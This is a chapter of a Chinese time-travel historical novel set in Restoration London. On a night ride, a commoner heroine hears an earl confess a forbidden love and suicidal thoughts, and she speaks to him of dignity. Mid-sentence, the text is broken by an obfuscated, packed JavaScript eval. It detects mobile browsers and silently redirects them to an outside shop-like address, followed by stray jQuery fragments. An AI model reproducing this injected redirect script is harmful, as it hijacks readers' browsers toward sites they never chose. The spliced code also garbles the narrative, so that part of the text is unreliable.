从河岸街出来，马蹄踏上碎石铺成的街道，发出清脆的声响。


    夜已深。街上几个衣衫单薄的男孩举着火把，远远看见他们的马，立刻兴奋地跑了过来，有两个直接跑到马前方，举着火把引路。


    火焰噼啪作响，橘红色的光在黑夜中摇晃，忽明忽暗，成一条不稳定的线。


    薇薇安俯下身，贴近马背，跟着珀西那匹黑色的安达卢西亚马，一路向前。


    穿过街道，他们来到海德公园边缘。


    这个时代海德公园已经对公众开放，但薇薇安从未在夜间来过。事实上，她甚至从来没有过夜骑。在剑桥，晚上从牛顿的住处回到玫瑰酒馆也是乘坐马车，旅途也并不长。


    夜晚的海德公园跟三百年后没有区别，没有灯，漆黑一片，强盗经常出没。


    珀西随手扔给引路童几枚钱币，薇薇安只看见一闪而过的金色，猜测是几枚金基尼。


    几个孩子捡起钱，雀跃着跑开。


    周围暗了下来，只剩下月光。


    树林的阴影扭曲成巨大的轮廓，像蛰伏的怪物。


    薇薇安什么都看不清，只听见马蹄声，珀西的马靠近，他的声音从黑暗中传来，“放开缰绳，让西尔弗自己找路。”


    虽然薇薇安知道马的夜视能力远远好于人类，但把自己的安全完全交给一匹马，还是平生第一次。


    她别无选择。


    此时的海德公园依然保留着皇家狩猎场的粗犷与野性，古老的橡树林密集生长，地面布满蕨类与荒草。


    马在黑暗中前行，穿过空无一人的环道，不知道走了多远，听到前方潺潺的水声——后世的蛇形湖还不存在，只有一条溪流流过。


    水面上倒映着破碎的月光，冬日的薄雾在水面弥漫。


    珀西在水边停下，翻身下马。


    马的鼻孔里喷出白色的雾气，低头在浅滩喝水。


    薇薇安也下了马，向珀西伸出手，准备接过他的缰绳——谁让她在这个时代是平民呢？


    珀西没有让她帮忙，而是自己随手将缰绳缠绕在一根枯木上。


    随后，完全不顾身上那件价值连城的丝绒外套，他直接坐在一截长满青苔的倒伏的古树干上。


    薇薇安也拴好马，站在一旁，犹豫着自己是应该跟他一起坐到树干上，还是一旁沾着露水的草地上。


    下一秒，她瞪大了眼睛。


    珀西抬手摘下了假发，露出原本的头发，被汗水打湿，还有些凌乱。这是她第一次见到贵族露出真发。即使是阿什利，在病得最严重的时候，也戴着便帽，不以真发示人。


    珀西对她的惊讶并不留意，他凝视着水流，若有所思道，“只有这个时候，我才觉得自己是活着的。”


    薇薇安小心翼翼地问，“大人——”


    触到珀西的眼神，她顿住，改口，“珀西，你……有什么难言之隐吗？”


    珀西看着她，“你说得对，这个世界很无聊，很多时候我觉得与这里的其他人格格不入。”


    薇薇安心内一动，他难道……和她一样？


    “我……有时候会觉得，我来自另一个世界。”薇薇安试探着说。


    “我也是。”


    心狂跳。


    她继续说下去，“而这里的人无法理解我——我的想法，我的选择。所以我会想，也许我的灵魂属于另一个世界，也许只是来错了地方。”


    月光下，珀西的眼睛闪闪发亮，“你遇到过理解你的人吗？”


    他不需要她回答，“我遇到过，我们相爱了，那时候，我才觉得我不是一个人，”他停了一下，声音变得很轻，“可惜……”


    他的目光依然落在薇薇安身上，却仿佛穿透了她，投射到远方，“我们身份不配，也许我注定无法得到我想要的。”


    他没有继续说下去。


    “她也许有她自己的选择，不是所有人都愿意做情妇。”薇薇安只当是一个被门第阻碍的爱情故事，试图安慰他。


    珀西笑了，他看着薇薇安，“如果——阿什福德对你是真心的，你愿意接受吗？”


    薇薇安迟疑了一下，“问题不在于我的意愿，而在于——我怎么知道他是真心的呢？凭借几句甜言蜜语吗？贵族有太多玩物，很少有人会长久地在意一个人。”


    “看，连你也这么认为，他也是这么想的。”


    他？


    薇薇安心中一惊，掩住口，好在此时一片乌云遮住了月亮，黑暗更深，看不清她的表情。


    他也没在意，语气低沉，像是在讲一个古老的传说故事。


    “他是我的随从，我们从小一起长大，他父亲是我父亲的男仆。”


    薇薇安静静地听着。


    “后来，他发现了我的感情，离开了我家，参加了皇家海军，死在了麦德威。”


    冷风吹来，水声似乎大了一些。


    珀西抬眼，“所以当我看到你，我在想，如果当时，他能像你一样，明确拒绝，是不是就不会误会我，他……也不会死……”


    薇薇安沉默。


    她不知道该怎么回答，她的明确拒绝因为她并不是这里的人，对这种侮辱忍无可忍。但如果代入一个年轻随从，一直生活在这样的环境里，除了上战场，还能如何逃避一位贵族的喜爱呢？


    “之后我一直自责，决心完成家族的责任，可结果呢？别人可以有继承人，而我——”他的声音几乎听不见，“是索多玛的罪人。”


    薇薇安看着他，他不是穿越者，而是一个……不被时代允许的人。


    她慢慢坐到他身边，“我相信，你的自责，已经让他知道，你是真心的，跟那些人……不一样。”


    珀西没有回应，只是看着水面。


    雾气越来越重，几乎看不清一旁的马和树林。


    她站起身，“我们回去吧。”


    珀西没有动，“你是担心安全吗？害怕被我灭口？这里没人。”


    “我为什么会担心一个要轻生的……我是说，担心的动机是什么呢？你觉得我会说出去你的事？诽谤贵族，可是比对贵族不敬更大的罪名，毕竟，世人更愿意相信伯爵，而不是我，这个道理您比我更明白，大人。”


    他沉默，然后轻声说，“那你为什么不再多呆一会，我不想回去。”


    “我只是想，您出来这么久，阿什利勋爵会责问仆人，而他们，是无辜的。”


    黑暗里传来一声叹息，“布雷特，阿什福德说得没错，你确实很有趣。你讨厌阿什福德，但还是对他的中风提出了建议；刚才的马夫怠慢了你，现在你却替他们担心，为什么呢？”


    珀西不等她回答，继续说下去，“刚才在屋顶，我的确闪过一个念头：如果跳下去会怎样？然后你就出现了，为什么我让你下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409988|199358||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去，你没像其他人那样听命令离开？”


    薇薇安不语，她承认，刚才在屋顶，的确那一瞬间，身份，地位，暴露的风险，都被她抛之脑后，眼中只有一个“即将跳楼的重度抑郁症患者”，心里想的全是危机干预，如何破除“跳河”行为的浪漫化……


    他顿了顿，“你明明只是平民，我听说你需要钱，安东尼说服阿什福德预支你三百镑，应该也不是你自己需要吧？”


    薇薇安把剑桥酒馆的事情一五一十地告诉了他，说到最后，她叹了口气。“我不想让那些依赖我的人失望。我还抱着一点希望，以为那真的是个体面的职位，我只是没想到——”她住了口。


    “安东尼并不知情。”珀西道，“我夫人也不知道，我们都以为那是个好提议，直到……阿什福德跟我说，是因为他觉得我会欣赏——也因为他想炫耀他的……”他停了一下，“新宠。”


    “真恶心。”薇薇安脱口而出。


    雾气中传来一阵低笑，“所以说你很特别。告诉我，你为什么要帮助酒馆的那对父女？你与他们不过是一面之缘。”


    “因为不公平，”薇薇安说得很平静，“癫痫和痛风，本质上没有区别，都是疾病，但一个被视为鬼上身，一个则被看成是富贵病，作为——医生的助手，我只是想做点什么。”


    “我与洛克先生也相识，我的老师跟洛克先生是同学，但我不认为你的这些见解是来自他。”


    薇薇安一愣，洛克的同学？诺森伯兰伯爵的老师？他从来没提过，她只听彼得说过他们去诺森伯兰宫做客，没想过还有这层关系。


    “所以你为什么会有这些行为呢？你要知道，如果你出了事，其他仆人可不会帮你。”


    “因为我们都是——”她想说平等，却在出口前换了一个更符合这个世纪的说法，“在上帝面前是平等的，贵族也好仆人也好，只是身份不同，但尊严一样。”


    “尊严，”珀西重复了一下，“我这样的人……也有吗？”


    “任何人都有，只要是人，就有绝对尊严，不承认其他人的尊严，等于否定了自己的尊严。”薇薇安正色道。


    “绝对……尊严……”


    他低声重复，像是第一次听到这个词。


    空气安静下来，只剩水声和茫茫的雾气。


    衣料轻轻摩擦的声音传来，一只手落在她肩上，“走吧。”


    回去的路，比来时安静得多。


    他们没有再说话，任由马儿引路，直到马蹄声重新落到石板上。


    火光、人声，再度出现。


    埃克塞特府外一片喧闹，好几个人举着火把，有人看见他们，立刻转身奔走。


    薇薇安认出那些是埃克塞特府的仆人。看来阿什利勋爵发现了珀西的失踪，正派人四处寻找。


    阿什利勋爵如今的妻子，是他第三任妻子玛格丽特·斯宾塞，与珀西的妻子伊丽莎白·莱奥斯利是表亲。如果这位掌握着北方广大领土和财富的贵族亲戚，在他这里做客期间出了什么意外，他不只无法向妻子交代，更无法向莱奥斯利家族和珀西家族交代。


    退一步讲，即使珀西平安无事，深夜跟一个年轻“男孩”外出骑马，一旦被政敌抓住把柄大做文章，同样是阿什利无法承受的风险。


    薇薇安在马背上叹了口气，看来——


    一场暴风骤雨，是躲不过了。